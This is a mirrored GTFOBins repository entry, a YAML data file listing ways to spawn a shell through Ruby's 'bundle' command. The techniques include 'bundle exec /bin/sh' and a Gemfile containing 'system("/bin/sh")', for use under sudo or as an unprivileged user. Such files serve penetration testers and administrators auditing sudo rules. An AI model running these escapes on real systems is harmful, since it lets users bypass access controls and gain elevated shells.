1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/bundle
Andrea Cardaci c8c5aed0ba Add a remark for sudo about environment variables
This avoids further duplication for sudo examples.
2026-01-01 22:00:12 +01:00

38 lines
647 B
Plaintext

---
functions:
inherit:
- code: |-
bundle help
contexts:
sudo:
unprivileged:
from: less
- code: |-
touch Gemfile
bundle console
contexts:
sudo:
unprivileged:
from: irb
shell:
- code: |-
BUNDLE_GEMFILE=x bundle exec /bin/sh
contexts:
sudo:
unprivileged:
- code: |-
touch Gemfile
bundle exec /bin/sh
contexts:
sudo:
unprivileged:
- code: |-
echo 'system("/bin/sh")' >Gemfile
bundle install
comment: |-
This might run the shell twice, one after the other.
contexts:
sudo:
unprivileged:
...